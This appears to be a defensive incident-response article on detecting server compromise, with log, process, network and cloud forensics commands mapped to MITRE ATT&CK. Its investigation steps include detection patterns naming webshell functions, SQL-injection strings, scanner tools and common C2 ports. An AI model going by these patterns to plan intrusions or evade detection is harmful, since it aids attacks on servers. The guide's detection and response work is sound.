{"slug": "how-to-know-if-a-threat-actor-has-accessed-your-server", "title": "How to Know If a Threat Actor Has Accessed Your Server", "summary": "This article explains that every internet-connected server is a target for unauthorized access, and it provides a guide for detecting a compromise. It details common indicators of a breach, such as brute-force login attempts, creation of backdoor accounts, unexpected processes, and data exfiltration patterns. The guide also offers specific commands for examining system logs on both Linux and Windows servers to identify suspicious activity.", "body_md": "A practical detection, investigation, and response guide for DevOps engineers, backend developers, security engineers, and startup CTOs.\n\nSobering reality:IBM's 2023 Cost of a Data Breach Report found that the average breach goesundetected for 204 days— nearly 7 months. By the time most teams notice something is wrong, the attacker has already been living in their infrastructure long enough to map every service, exfiltrate sensitive data, and install multiple persistence mechanisms. The detection gap, not the initial intrusion, is what turns an incident into a catastrophe.This guide closes that gap.\n\n## Table of Contents\n\n[Introduction](#1-introduction)[Common Signs a Threat Actor Accessed a Server](#2-common-signs-a-threat-actor-accessed-a-server)[Where to Check — Logs & Evidence Sources](#3-where-to-check--logs--evidence-sources)[Network-Based Detection](#4-network-based-detection)[Step-by-Step Investigation Playbook](#5-step-by-step-investigation-playbook)[Useful Commands & Tools](#6-useful-commands--tools)[MITRE ATT&CK Technique Mapping](#7-mitre-attck-technique-mapping)[Indicators of Compromise (IoC) Checklist](#8-indicators-of-compromise-ioc-checklist)[Immediate Response Actions](#9-immediate-response-actions)[Legal, Compliance & Regulatory Obligations](#10-legal-compliance--regulatory-obligations)[Prevention Best Practices](#11-prevention-best-practices)[Windows Server Incident Response](#12-windows-server-incident-response)[Real-World Example](#13-real-world-example-detecting-a-compromised-linux-server)[Conclusion — The DICRP Framework](#14-conclusion--the-dicrp-framework)[Quick Reference](#15-quick-reference)\n\n## 1. Introduction\n\nEvery server connected to the internet is a target. It is not a question of *if* someone will attempt to access it without authorisation — it is a question of *when*, and whether you will detect it in time.\n\nA **server compromise** occurs when an unauthorised party gains access to a system in a way that was not intended, permitted, or expected. This could range from a low-privilege attacker who merely explored your file system to a sophisticated threat actor who has maintained persistent access for months, exfiltrated data, and planted backdoors before you noticed anything unusual.\n\n### Normal vs. Suspicious vs. Confirmed Compromise\n\nUnderstanding the difference between these three states is the foundation of any incident investigation.\n\n| State | Description | Example |\n|---|---|---|\nNormal access |\nExpected behaviour from known users, services, or automated systems | Your deployment pipeline SSH-ing in as `deploy` at 2:00 AM |\nSuspicious access |\nAnomalous activity that may or may not be malicious — requires investigation | A root login from an unrecognised IP at 3:47 AM |\nConfirmed compromise |\nEvidence of unauthorised access, malicious activity, or data breach | A reverse shell process running as `www-data` ; unknown SSH keys added |\n\nThe critical skill is **recognising the gap** between \"something looks off\" and \"we have been breached.\" Many teams either dismiss suspicious signals too quickly or panic at false positives. This guide will help you tell the difference — and act accordingly.\n\n## 2. Common Signs a Threat Actor Accessed a Server\n\nBefore diving into log analysis, you need to know what you are looking for. The following indicators are the most common signals that something is wrong.\n\n### 2.1 Unusual Login Attempts (SSH / RDP / API)\n\n*MITRE ATT&CK: T1110 — Brute Force, T1078 — Valid Accounts*\n\nBrute-force attempts are often a precursor to or evidence of access. A high volume of failed logins followed by a single successful one is a textbook sign of a successful brute-force attack.\n\n**What to look for:**\n\n- Multiple failed SSH attempts from the same or rotating IP addresses\n- Successful logins from geographic locations inconsistent with your team\n- Logins at unusual hours (3:00 AM when your team is in Lagos / London / NYC)\n- Logins from IPs flagged in threat intelligence databases (Shodan, AbuseIPDB)\n- API authentication tokens used from unexpected IP ranges\n\n### 2.2 Unknown Users or Privilege Escalation\n\n*MITRE ATT&CK: T1136 — Create Account, T1548 — Abuse Elevation Control Mechanism*\n\nAttackers often create backdoor accounts or escalate privileges to maintain access.\n\n**What to look for:**\n\n- New user accounts in\n`/etc/passwd`\n\nyou did not create - Users added to\n`sudo`\n\nor the`wheel`\n\ngroup without authorisation - Changes to\n`/etc/sudoers`\n\nor`/etc/sudoers.d/`\n\n- A non-root user suddenly running processes as root\n- SUID/SGID binaries that were not there before\n\n### 2.3 Unexpected Running Processes / Services\n\n*MITRE ATT&CK: T1059 — Command and Scripting Interpreter, T1543 — Create or Modify System Process*\n\nMalicious actors install tools — cryptominers, reverse shells, data exfiltration agents. These show up as unexpected processes.\n\n**What to look for:**\n\n- Processes with random or disguised names (e.g.,\n`kworkerds`\n\n,`sysupdate`\n\n,`.init`\n\n) - Processes listening on unusual ports\n- Unknown services registered with\n`systemd`\n\nor`init.d`\n\n- Processes consuming excessive CPU (often cryptominers)\n- Processes running as\n`www-data`\n\n,`nginx`\n\n, or other service accounts but performing non-service tasks\n\n### 2.4 Modified System Files / Configurations\n\n*MITRE ATT&CK: T1565 — Data Manipulation, T1601 — Modify System Image*\n\nAttackers modify system files to maintain persistence or disable defences.\n\n**What to look for:**\n\n- Changes to\n`/etc/hosts`\n\n(redirecting DNS) - Modified shell profiles:\n`.bashrc`\n\n,`.bash_profile`\n\n,`.profile`\n\n,`/etc/profile.d/`\n\n- Altered PAM configuration files (\n`/etc/pam.d/`\n\n) - Modified SSH server config (\n`/etc/ssh/sshd_config`\n\n) — e.g.,`PermitRootLogin yes`\n\nadded - Timestamp discrepancies on critical binaries (\n`ls`\n\n,`ps`\n\n,`netstat`\n\n,`find`\n\n) - Changes to web application files (\n`index.php`\n\n,`config.js`\n\n) — webshells\n\n### 2.5 Unusual Outbound / Inbound Network Traffic\n\n*MITRE ATT&CK: T1071 — Application Layer Protocol, T1041 — Exfiltration Over C2 Channel*\n\nData exfiltration and command-and-control (C2) communication create distinctive network patterns.\n\n**What to look for:**\n\n- Large outbound data transfers to unknown IPs, especially at odd hours\n- Connections to known malicious IP ranges or Tor exit nodes\n- Unusual protocols or ports (IRC on port 6667, DNS tunnelling, ICMP data transfer)\n- New persistent connections to external IPs from service accounts\n- DNS queries to domains with high entropy (DGA — Domain Generation Algorithm)\n\n### 2.6 High CPU, RAM, or Disk Usage Anomalies\n\n*MITRE ATT&CK: T1496 — Resource Hijacking*\n\nResource abuse is one of the most visible (and often first noticed) signs of compromise.\n\n**What to look for:**\n\n- CPU usage consistently above 80–90% with no corresponding application load\n- Disk I/O spikes with no scheduled jobs running\n- Disk filling up rapidly with unexpected files\n- Memory exhaustion tied to an unknown process\n- Cryptomining malware is the most common cause — it is immediately visible in resource graphs\n\n### 2.7 Disabled Security Tools or Logs\n\n*MITRE ATT&CK: T1562 — Impair Defenses, T1070 — Indicator Removal*\n\nA sophisticated attacker's first action is often to blind your monitoring.\n\n**What to look for:**\n\n-\n`auditd`\n\n,`fail2ban`\n\n,`iptables`\n\n, or`ufw`\n\nsuddenly stopped or disabled - Log files that are empty, truncated, or have suspicious gaps\n-\n`cron`\n\nentries that pipe logs to`/dev/null`\n\n- Security agent (CrowdStrike, Wazuh, OSSEC) reporting offline\n-\n`syslog`\n\ndaemon stopped or replaced\n\n### 2.8 Unexpected Cron Jobs / Scheduled Tasks\n\n*MITRE ATT&CK: T1053 — Scheduled Task/Job*\n\nCron is a favourite persistence mechanism for attackers.\n\n**What to look for:**\n\n- Entries in\n`/var/spool/cron/crontabs/`\n\nyou do not recognise - New files in\n`/etc/cron.d/`\n\n,`/etc/cron.hourly/`\n\n,`/etc/cron.daily/`\n\n- Cron jobs that download and execute scripts from external URLs\n- Windows: Scheduled Tasks created under\n`\\Microsoft\\Windows\\`\n\nin Task Scheduler - Systemd timers (\n`systemctl list-timers`\n\n) that are unexpected\n\n### 2.9 New SSH Keys or Changed Credentials\n\n*MITRE ATT&CK: T1098 — Account Manipulation, T1556 — Modify Authentication Process*\n\nAttackers plant SSH keys to ensure persistent re-entry even after passwords are changed.\n\n**What to look for:**\n\n- New entries in\n`~/.ssh/authorized_keys`\n\nfor root or any user - New keys in\n`/etc/ssh/authorized_keys`\n\n(if configured globally) - SSH host keys regenerated (check\n`/etc/ssh/ssh_host_*`\n\n) - Changed\n`/etc/passwd`\n\nor`/etc/shadow`\n\nentries (password hash changes) - Cloud metadata service SSH key updates (AWS EC2 Instance Connect, GCP OS Login)\n\n## 3. Where to Check — Logs & Evidence Sources\n\nOnce you suspect compromise, you need to know exactly where to look. Here is a comprehensive map of log locations and what each reveals.\n\n### 3.1 Linux System Logs\n\n| Log File | Location | What It Contains |\n|---|---|---|\n`auth.log` |\n`/var/log/auth.log` (Debian/Ubuntu) |\nSSH logins, sudo usage, PAM events |\n`secure` |\n`/var/log/secure` (RHEL/CentOS/Amazon Linux) |\nSame as auth.log for RPM-based distros |\n`syslog` |\n`/var/log/syslog` |\nGeneral system messages, daemon activity |\n`kern.log` |\n`/var/log/kern.log` |\nKernel events, unusual driver/module loads |\n`wtmp` |\n`/var/log/wtmp` |\nBinary log of all logins/logouts (read with `last` ) |\n`btmp` |\n`/var/log/btmp` |\nBinary log of failed logins (read with `lastb` ) |\n`lastlog` |\n`/var/log/lastlog` |\nMost recent login per user (read with `lastlog` ) |\n`audit.log` |\n`/var/log/audit/audit.log` |\nSystem call auditing (if `auditd` is enabled) |\n\n**Using journalctl (systemd-based systems):**\n\n```\n# Show all logs from the past 24 hours\njournalctl --since \"24 hours ago\"\n\n# Show SSH service logs within a date range\njournalctl -u ssh --since \"2024-01-01\" --until \"2024-01-07\"\n\n# Show logs for a specific process ID\njournalctl _PID=1234\n\n# Show kernel messages only\njournalctl -k\n\n# Follow logs in real time\njournalctl -f\n\n# Show logs at warning priority or higher\njournalctl -p warning\n```\n\n### 3.2 Web Server Logs\n\nWeb servers are frequent entry points via exploited applications, LFI, RFI, SQL injection, or webshells.\n\n**Nginx:**\n\n```\n# Default access log\ntail -f /var/log/nginx/access.log\n\n# Look for POST requests to unusual paths (webshell access)\ngrep \"POST\" /var/log/nginx/access.log | grep -v \"api\\|login\\|upload\"\n\n# Look for scanning patterns (many 404s from one IP)\nawk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20\n\n# Look for unusual user agents\ngrep -i \"sqlmap\\|nikto\\|nmap\\|masscan\\|python-requests\\|zgrab\" /var/log/nginx/access.log\n```\n\n**Apache:**\n\n```\n# Apache access log\ntail -f /var/log/apache2/access.log\n\n# HTTP status code distribution — many 200s on unusual paths = webshell hits\ncat /var/log/apache2/access.log | awk '{print $9}' | sort | uniq -c | sort -rn\n```\n\n### 3.3 Cloud Audit Logs\n\n**AWS CloudTrail:**\n\n```\n# Find console login events\naws cloudtrail lookup-events \\\n  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \\\n  --start-time 2024-01-01T00:00:00Z --end-time 2024-01-07T00:00:00Z\n\n# Look for root account usage (always suspicious)\naws cloudtrail lookup-events \\\n  --lookup-attributes AttributeKey=Username,AttributeValue=root\n\n# Look for IAM user creation\naws cloudtrail lookup-events \\\n  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser\n\n# Look for security group rule additions (attacker opening ports)\naws cloudtrail lookup-events \\\n  --lookup-attributes AttributeKey=EventName,AttributeValue=AuthorizeSecurityGroupIngress\n```\n\n**GCP Audit Logs:**\n\n```\n# View admin activity logs\ngcloud logging read \\\n  \"logName=projects/YOUR_PROJECT/logs/cloudaudit.googleapis.com%2Factivity\" \\\n  --limit 100 --format json\n\n# Filter for IAM policy changes\ngcloud logging read 'protoPayload.methodName=\"SetIamPolicy\"' --limit 50\n```\n\n**Azure Monitor:**\n\n```\n# Query for role assignment changes\naz monitor activity-log list \\\n  --start-time 2024-01-01T00:00:00Z \\\n  --end-time 2024-01-07T00:00:00Z \\\n  --query \"[?authorization.action=='Microsoft.Authorization/roleAssignments/write']\"\n```\n\n### 3.4 Firewall and WAF Logs\n\n```\n# iptables — view current rules with byte counts\niptables -L -n -v\n\n# View recent iptables drops (if DROP logging is enabled)\ngrep \"iptables\" /var/log/syslog | tail -50\n\n# UFW logs\ngrep \"UFW\" /var/log/ufw.log | grep \"BLOCK\" | tail -50\n\n# fail2ban — view currently banned IPs\nfail2ban-client status sshd\n\n# See all bans across all jails\nfail2ban-client status\n```\n\n### 3.5 Container and Kubernetes Logs\n\n*MITRE ATT&CK: T1610 — Deploy Container, T1613 — Container and Resource Discovery*\n\n```\n# Docker — view container logs\ndocker logs <container_id> --tail 200 --follow\n\n# Inspect a running container's processes\ndocker top <container_id>\n\n# Check for unexpected or recently created containers\ndocker ps -a --format \"table {{.ID}}\\t{{.Image}}\\t{{.CreatedAt}}\\t{{.Status}}\"\n\n# Inspect container for dangerous mounts (host path mounts = escalation risk)\ndocker inspect <container_id> | jq '.[].HostConfig.Binds'\n\n# ── Kubernetes ──────────────────────────────────────────────────────\n# View pod logs (including previous crashed pod)\nkubectl logs <pod-name> -n <namespace> --previous\n\n# View recent events across all namespaces\nkubectl get events --all-namespaces --sort-by=.metadata.creationTimestamp\n\n# ── RBAC Enumeration — what can each service account do? ──────────\n# List all ClusterRoleBindings (look for unexpected admin rights)\nkubectl get clusterrolebindings -o json | \\\n  jq '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects'\n\n# List all service accounts and their bound roles\nkubectl get rolebindings,clusterrolebindings --all-namespaces -o wide\n\n# Check for service accounts with wildcard permissions (dangerous)\nkubectl auth can-i --list --as=system:serviceaccount:<namespace>:<sa-name>\n\n# ── Service Account Token Exposure ─────────────────────────────────\n# Check if pods are auto-mounting service account tokens (they shouldn't unless needed)\nkubectl get pods --all-namespaces -o json | \\\n  jq '.items[] | select(.spec.automountServiceAccountToken!=false) | \n  {name: .metadata.name, namespace: .metadata.namespace}'\n\n# ── Privileged / Host-Access Pods (container escape risk) ──────────\n# Find privileged pods — these can escape to the host kernel\nkubectl get pods --all-namespaces -o json | \\\n  jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | \n  {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Find pods with hostPID or hostNetwork (another escape vector)\nkubectl get pods --all-namespaces -o json | \\\n  jq '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) |\n  {name: .metadata.name, namespace: .metadata.namespace}'\n\n# ── Container Escape Indicators ────────────────────────────────────\n# If running inside a container, check if you can reach the Docker socket\n# (presence means container escape may already have occurred)\nls -la /var/run/docker.sock 2>/dev/null && echo \"WARNING: Docker socket mounted\"\n\n# Check if cgroups indicate container escape (unexpected cgroup namespaces)\ncat /proc/1/cgroup\n\n# ── Kubernetes Audit Log Analysis ──────────────────────────────────\n# If audit logging is enabled on the API server, look for:\n# - Anonymous access attempts\n# - exec into pods (T1609)\n# - port-forward commands (lateral movement)\ngrep '\"verb\":\"exec\"' /var/log/kubernetes/audit.log | jq .\ngrep '\"verb\":\"port-forward\"' /var/log/kubernetes/audit.log | jq .\ngrep '\"username\":\"system:anonymous\"' /var/log/kubernetes/audit.log | jq .\n```\n\n### 3.6 EDR and SIEM Queries\n\n```\n# Splunk — parent-child process anomalies (webshell execution)\nindex=endpoint | eval parent_child=parent_process+\"-\"+process_name\n| stats count by parent_child | sort -count\n\n# Elastic KQL — new privileged users (Windows Event IDs)\nevent.code: 4728 OR event.code: 4732\n\n# Elastic KQL — lateral movement via SMB\nevent.action: \"network_connection\" AND destination.port: 445\n```\n\n## 4. Network-Based Detection\n\nNetwork telemetry often reveals attacker activity *before* host logs do — especially when logs have been tampered with. This section covers the tools and techniques for network-level forensics.\n\n### 4.1 Zeek (formerly Bro) Log Analysis\n\nZeek is a powerful network analysis framework that passively monitors traffic and writes structured logs. On a compromised network, Zeek logs are gold.\n\n```\n# Install Zeek (Ubuntu)\napt install zeek -y\n# Config: /usr/local/zeek/etc/node.cfg — set interface\n\n# Key Zeek log files (default: /var/log/zeek/current/ or /usr/local/zeek/logs/current/)\n# conn.log     — all network connections (src/dst IP, port, bytes, duration)\n# dns.log      — all DNS queries and responses\n# http.log     — HTTP requests (URI, method, user-agent, response codes)\n# ssl.log      — TLS/SSL connections (SNI, certificate info)\n# notice.log   — Zeek-generated alerts\n# weird.log    — protocol anomalies (very useful for C2 detection)\n\n# Find long-duration connections (beacon/C2 behaviour)\ncat /var/log/zeek/current/conn.log | \\\n  zeek-cut id.orig_h id.resp_h id.resp_p duration | \\\n  sort -k4 -rn | head -20\n\n# Find unusually large outbound data transfers (exfiltration)\ncat /var/log/zeek/current/conn.log | \\\n  zeek-cut id.orig_h id.resp_h resp_bytes | \\\n  awk '$3 > 10000000' | sort -k3 -rn | head -10\n\n# Find DNS queries to high-entropy domains (DGA / C2 beaconing)\ncat /var/log/zeek/current/dns.log | \\\n  zeek-cut query | sort | uniq -c | sort -rn | head -30\n\n# Find HTTP requests with suspicious user-agents\ncat /var/log/zeek/current/http.log | \\\n  zeek-cut id.orig_h host uri user_agent | \\\n  grep -i \"curl\\|wget\\|python\\|go-http\\|libwww\" | head -20\n\n# Identify connections to Tor exit nodes\n# (requires enriching with Tor exit node list)\ncomm -12 \\\n  <(cat /var/log/zeek/current/conn.log | zeek-cut id.resp_h | sort -u) \\\n  <(curl -s https://check.torproject.org/torbulkexitlist | sort -u)\n```\n\n### 4.2 Suricata IDS Alert Triage\n\nSuricata is an open-source IDS/IPS that writes alerts in EVE JSON format.\n\n```\n# Install Suricata (Ubuntu)\napt install suricata -y\nsuricata-update  # Pull latest Emerging Threats ruleset\n\n# EVE JSON alert log location\ntail -f /var/log/suricata/eve.json | jq 'select(.event_type==\"alert\")'\n\n# Find all alerts sorted by severity\njq 'select(.event_type==\"alert\") | {timestamp, src_ip, dest_ip, alert: .alert.signature, severity: .alert.severity}' \\\n  /var/log/suricata/eve.json | less\n\n# Filter for high-severity alerts only (severity 1)\njq 'select(.event_type==\"alert\" and .alert.severity==1)' \\\n  /var/log/suricata/eve.json\n\n# Find C2 beacon alerts\njq 'select(.event_type==\"alert\") | select(.alert.signature | test(\"C2|beacon|Cobalt|Meterpreter|reverse\"))' \\\n  /var/log/suricata/eve.json\n\n# Aggregate alerts by signature (find most triggered rules)\njq -r 'select(.event_type==\"alert\") | .alert.signature' \\\n  /var/log/suricata/eve.json | sort | uniq -c | sort -rn | head -20\n\n# Find DNS anomalies detected by Suricata\njq 'select(.event_type==\"dns\" and .dns.type==\"answer\")' \\\n  /var/log/suricata/eve.json | head -20\n```\n\n### 4.3 DNS Query Forensics\n\nDNS is abused for data exfiltration, C2 communication, and DGA-based malware.\n\n```\n# If using systemd-resolved, query the DNS cache\nresolvectl statistics\n\n# View recent DNS queries on the system (requires audit rule on DNS)\n# Set up DNS audit rule:\nauditctl -w /etc/resolv.conf -p wa -k dns_config_change\n\n# Capture and analyse live DNS queries with tcpdump\ntcpdump -i eth0 -n port 53 -w /tmp/dns_capture.pcap\n# Then analyse with Wireshark or tshark:\ntshark -r /tmp/dns_capture.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -rn\n\n# DNS-over-HTTPS bypass detection: look for DoH endpoints\ngrep -r \"dns.google\\|cloudflare-dns.com\\|1.1.1.1\\|8.8.8.8\" \\\n  /var/log/nginx/access.log /var/log/syslog 2>/dev/null\n\n# Check for DNS tunnelling (unusually long subdomain queries)\ncat /var/log/zeek/current/dns.log | zeek-cut query | \\\n  awk 'length($1) > 50' | head -20\n\n# Look for high-frequency queries to a single domain (C2 polling)\ncat /var/log/zeek/current/dns.log | zeek-cut query | \\\n  sort | uniq -c | sort -rn | head -20\n```\n\n### 4.4 AWS VPC Flow Log Analysis for C2 Identification\n\nVPC Flow Logs capture all IP traffic to/from your EC2 instances and are invaluable for detecting C2, lateral movement, and exfiltration.\n\n```\n# Enable VPC Flow Logs (if not already enabled)\naws ec2 create-flow-logs \\\n  --resource-type VPC \\\n  --resource-ids vpc-YOUR_VPC_ID \\\n  --traffic-type ALL \\\n  --log-destination-type cloud-watch-logs \\\n  --log-group-name /aws/vpc/flowlogs \\\n  --deliver-logs-permission-arn arn:aws:iam::ACCOUNT:role/FlowLogsRole\n\n# Query flow logs using AWS Athena (after configuring Athena table)\n# Find top talkers (potential exfiltration)\nSELECT srcaddr, dstaddr, sum(bytes) as total_bytes\nFROM vpc_flow_logs\nWHERE action = 'ACCEPT'\n  AND dstaddr NOT LIKE '10.%'\n  AND dstaddr NOT LIKE '172.16.%'\n  AND dstaddr NOT LIKE '192.168.%'\nGROUP BY srcaddr, dstaddr\nORDER BY total_bytes DESC\nLIMIT 20;\n\n# Find connections to suspicious ports commonly used by C2 frameworks\nSELECT srcaddr, dstaddr, dstport, protocol, sum(packets) as pkt_count\nFROM vpc_flow_logs\nWHERE dstport IN (4444, 4445, 8080, 8443, 1337, 31337, 6667, 1080)\n  AND action = 'ACCEPT'\nGROUP BY srcaddr, dstaddr, dstport, protocol\nORDER BY pkt_count DESC;\n\n# Detect port scanning (many destinations, low packet counts)\nSELECT srcaddr, count(distinct dstaddr) as unique_dsts, sum(packets) as total_pkts\nFROM vpc_flow_logs\nWHERE action = 'REJECT'\nGROUP BY srcaddr\nHAVING count(distinct dstaddr) > 100\nORDER BY unique_dsts DESC;\n\n# Identify periodic beaconing (C2 polling — regular intervals to same destination)\n# Look for consistent, low-byte connections to a single external IP\nSELECT srcaddr, dstaddr, dstport,\n       date_trunc('minute', from_unixtime(start)) as minute_bucket,\n       count(*) as connections\nFROM vpc_flow_logs\nWHERE action = 'ACCEPT'\n  AND dstaddr NOT LIKE '10.%'\nGROUP BY srcaddr, dstaddr, dstport, date_trunc('minute', from_unixtime(start))\nHAVING count(*) > 1\nORDER BY connections DESC;\n```\n\n## 5. Step-by-Step Investigation Playbook\n\nWhen you suspect a compromise, **do not panic and do not immediately shut the server down** — you may destroy forensic evidence. Follow this structured process.\n\n```\n┌─────────────────────────────────────────────────────────────────┐\n│                  INCIDENT INVESTIGATION FLOW                    │\n│                                                                 │\n│  1. Confirm Indicators  →  2. Preserve Evidence                 │\n│           ↓                        ↓                            │\n│  3. Identify Access     →  4. Determine Attacker Actions        │\n│     Vector                         ↓                            │\n│           ↓                5. Check Persistence                 │\n│  6. Scope Affected      ←          ↓                            │\n│     Systems             ←  7. Reconstruct Timeline              │\n└─────────────────────────────────────────────────────────────────┘\n```\n\n### Step 1 — Confirm Suspicious Indicators\n\nBefore escalating, verify that what you are seeing is genuinely anomalous. Cross-reference against:\n\n- Your deployment schedule (was that 3 AM login from your CI/CD pipeline?)\n- IP allow-lists and team VPN ranges\n- Recently onboarded engineers or contractors\n- Any known penetration tests or red team engagements\n\nIf after cross-referencing you cannot explain the activity, treat it as a confirmed incident.\n\n### Step 2 — Preserve Evidence\n\n**This is the most time-critical step.** Evidence can be overwritten, logs can rotate, and memory is volatile.\n\n```\n# Create a forensics output directory\nmkdir -p /tmp/forensics && cd /tmp/forensics\n\n# Capture running processes snapshot\nps auxf > processes.txt\n\n# Capture active network connections\nss -tulpn > network_connections.txt\n\n# Capture logged-in users\nwho > who.txt && w >> who.txt && last -n 100 > last_logins.txt\n\n# Dump current iptables rules\niptables-save > iptables_rules.txt\n\n# Capture all crontabs\ncrontab -l > root_cron.txt 2>/dev/null\nfor user in $(cut -f1 -d: /etc/passwd); do\n  echo \"=== $user ===\" >> all_crontabs.txt\n  crontab -u \"$user\" -l 2>/dev/null >> all_crontabs.txt\ndone\n\n# Capture loaded kernel modules\nlsmod > kernel_modules.txt\n\n# Copy critical log files\ncp /var/log/auth.log ./ 2>/dev/null || cp /var/log/secure ./ 2>/dev/null\ncp /var/log/syslog ./ 2>/dev/null\n\n# Hash all collected files for chain-of-custody\nsha256sum * > evidence_hashes.txt\n```\n\n**Memory acquisition with LiME (Linux Memory Extractor):**\n\nUnlike `avml`\n\n(which is Azure-specific and requires pre-deployment), LiME is a loadable kernel module that works across all Linux distributions and can be compiled on-demand.\n\n```\n# ── Install LiME ───────────────────────────────────────────────────\n# Prerequisites\napt install linux-headers-$(uname -r) build-essential git -y  # Debian/Ubuntu\n# or: yum install kernel-devel gcc git -y                      # RHEL/CentOS\n\n# Clone and build LiME\ngit clone https://github.com/504ensicsLabs/LiME.git /tmp/LiME\ncd /tmp/LiME/src\nmake\n\n# This produces a .ko kernel module, e.g.: lime-5.15.0-generic.ko\n\n# ── Acquire memory dump ────────────────────────────────────────────\n# Option A: Dump to a local file\ninsmod lime-$(uname -r).ko \"path=/tmp/forensics/memory.lime format=lime\"\n\n# Option B: Dump directly over the network to your forensics workstation\n# On your workstation: nc -l -p 4242 > memory.lime\n# On the target server:\ninsmod lime-$(uname -r).ko \"path=tcp:4242 format=lime\"\n\n# Unload LiME after acquisition\nrmmod lime\n\n# ── Analyse the memory dump ────────────────────────────────────────\n# Use Volatility3 on your forensics workstation\npip3 install volatility3\n\n# List processes from memory dump\nvol -f memory.lime linux.pslist.PsList\n\n# Find network connections in memory\nvol -f memory.lime linux.netstat.Netstat\n\n# Check for hidden processes (rootkit detection)\nvol -f memory.lime linux.pstree.PsTree\n\n# Extract bash command history from memory\nvol -f memory.lime linux.bash.Bash\n\n# Find injected code / malicious shared libraries\nvol -f memory.lime linux.library_list.LibraryList\n```\n\nCloud best practice:Before acquiring memory,take an EBS snapshot / cloud disk snapshot. This preserves the entire disk state and is your fastest path to a forensic copy. A disk snapshot takes seconds; LiME compilation may take minutes.\n\n### Step 3 — Identify the Initial Access Vector\n\nHow did they get in? Common vectors and where to look for each:\n\n| Vector | MITRE ATT&CK | Where to Look |\n|---|---|---|\n| Brute-forced SSH | T1110.001 |\n`auth.log` — many failed logins then success |\n| Exploited web application | T1190 | Web server logs — unusual POST requests, 500 spikes |\n| Stolen credentials / leaked key | T1078 | CloudTrail / IAM logs — access from unexpected IPs |\n| Supply chain (compromised dependency) | T1195 | Application logs — unusual library behaviour |\n| Phishing → credential theft | T1566 | Email logs, SIEM identity events |\n| Unpatched CVE | T1203 | Check versions: `nginx -v` , `openssl version` , etc. |\n| Exposed cloud storage | T1530 | S3/GCS access logs — `GetObject` from unknown IPs |\n| Misconfigured metadata service (SSRF) | T1552.005 | SSRF logs, cloud audit logs for credential usage |\n\n```\n# Check SSH login history for the first suspicious successful login\ngrep \"Accepted\" /var/log/auth.log | grep -v \"YOUR_KNOWN_IPS\"\n\n# Check for web exploitation via suspicious HTTP payloads\ngrep -E \"(UNION|SELECT|DROP|exec\\(|eval\\(|base64_decode|cmd=|exec=)\" \\\n  /var/log/nginx/access.log\n\n# Find recently created files — may reveal dropped payloads\nfind / -mtime -7 -type f -not -path \"/proc/*\" -not -path \"/sys/*\" 2>/dev/null | \\\n  grep -v \"\\.log$\" | head -50\n```\n\n### Step 4 — Determine Attacker Actions\n\n```\n# Check bash history for all users\ncat /root/.bash_history\nfor user in $(cut -f1 -d: /etc/passwd); do\n  home=$(eval echo \"~$user\")\n  if [ -f \"$home/.bash_history\" ]; then\n    echo \"=== History for $user ===\" && cat \"$home/.bash_history\"\n  fi\ndone\n\n# Check if history was cleared (empty history with recent mtime = suspicious)\nls -la /root/.bash_history\n\n# Check recently accessed files\nfind / -atime -1 -type f -not -path \"/proc/*\" 2>/dev/null | head -30\n\n# Check audit logs for executed commands (if auditd was running)\nausearch -i -m execve --start recent\n\n# Review outbound connections that occurred\ngrep \"ESTABLISHED\\|SYN_SENT\" /tmp/forensics/network_connections.txt\n```\n\n### Step 5 — Check Persistence Mechanisms\n\n```\n# ── SSH Keys ──────────────────────────────────────────────────────\nfind /home /root /etc -name \"authorized_keys\" 2>/dev/null -exec echo \"=== {} ===\" \\; \\\n  -exec cat {} \\;\n\n# ── Cron Jobs ─────────────────────────────────────────────────────\nls -la /etc/cron* /var/spool/cron/crontabs/ && cat /etc/cron.d/*\n\n# ── Systemd Services ──────────────────────────────────────────────\nsystemctl list-units --type=service --state=running\nfind /etc/systemd/system/ -name \"*.service\" -newer /etc/passwd\n\n# ── Web Shells ────────────────────────────────────────────────────\nfind /var/www /srv /opt -name \"*.php\" \\\n  -exec grep -l \"eval\\|system\\|exec\\|base64_decode\\|passthru\" {} \\;\n\n# ── SUID Binaries ─────────────────────────────────────────────────\nfind / -perm -4000 -type f -not -path \"/proc/*\" 2>/dev/null\n\n# ── Startup Scripts ───────────────────────────────────────────────\nls -la /etc/rc.local /etc/rc*.d/ /etc/init.d/\n\n# ── LD_PRELOAD Hijacking ──────────────────────────────────────────\ncat /etc/ld.so.preload 2>/dev/null && env | grep LD_PRELOAD\n```\n\n### Step 6 — Scope Affected Systems\n\n```\n# Check for other hosts this server connects to\ncat ~/.ssh/known_hosts && cat /etc/hosts && arp -n\n\n# Look for lateral SSH movement from this server\ngrep \"Accepted\\|publickey\\|password\" /var/log/auth.log | grep \"from\"\n\n# AWS: Check CloudTrail for API calls made by this instance's IAM role\naws cloudtrail lookup-events \\\n  --lookup-attributes AttributeKey=ResourceName,AttributeValue=i-YOUR_INSTANCE_ID\n```\n\n### Step 7 — Timeline Reconstruction\n\n```\n# Combine auth.log, syslog, and web logs sorted by timestamp\ncat /var/log/auth.log /var/log/syslog /var/log/nginx/access.log | \\\n  sort -k1,3 > /tmp/forensics/unified_timeline.txt\n\n# Find file modifications around the suspected breach time\nfind / -newermt \"2024-01-15 02:00\" ! -newermt \"2024-01-15 06:00\" \\\n  -type f -not -path \"/proc/*\" 2>/dev/null\n```\n\n## 6. Useful Commands & Tools\n\n### 6.1 Login and Session Investigation\n\n```\n# last — login history with source IP\nlast -n 50 -a   # -a shows hostname/IP in last column\n\n# lastlog — most recent login per account (spot accounts that shouldn't login)\nlastlog | grep -v \"Never logged in\"\n\n# who — currently logged-in users\nwho -a\n\n# w — logged-in users + what command they are currently running\nw\n```\n\n### 6.2 Process Investigation\n\n```\n# Full process listing sorted by CPU (find cryptominers)\nps aux --sort=-%cpu | head -20\n\n# Visual process tree — attackers' reverse shells appear as children of web processes\nps auxf\npstree -aup\n\n# lsof — open files and network connections per process\nlsof -i           # All network connections\nlsof -i :4444     # Who is using port 4444?\nlsof -p <PID>     # All files opened by a specific PID\nlsof | grep deleted  # Malware deleted from disk but still running in memory\n```\n\n### 6.3 Network Investigation\n\n```\n# ss — fast, modern netstat 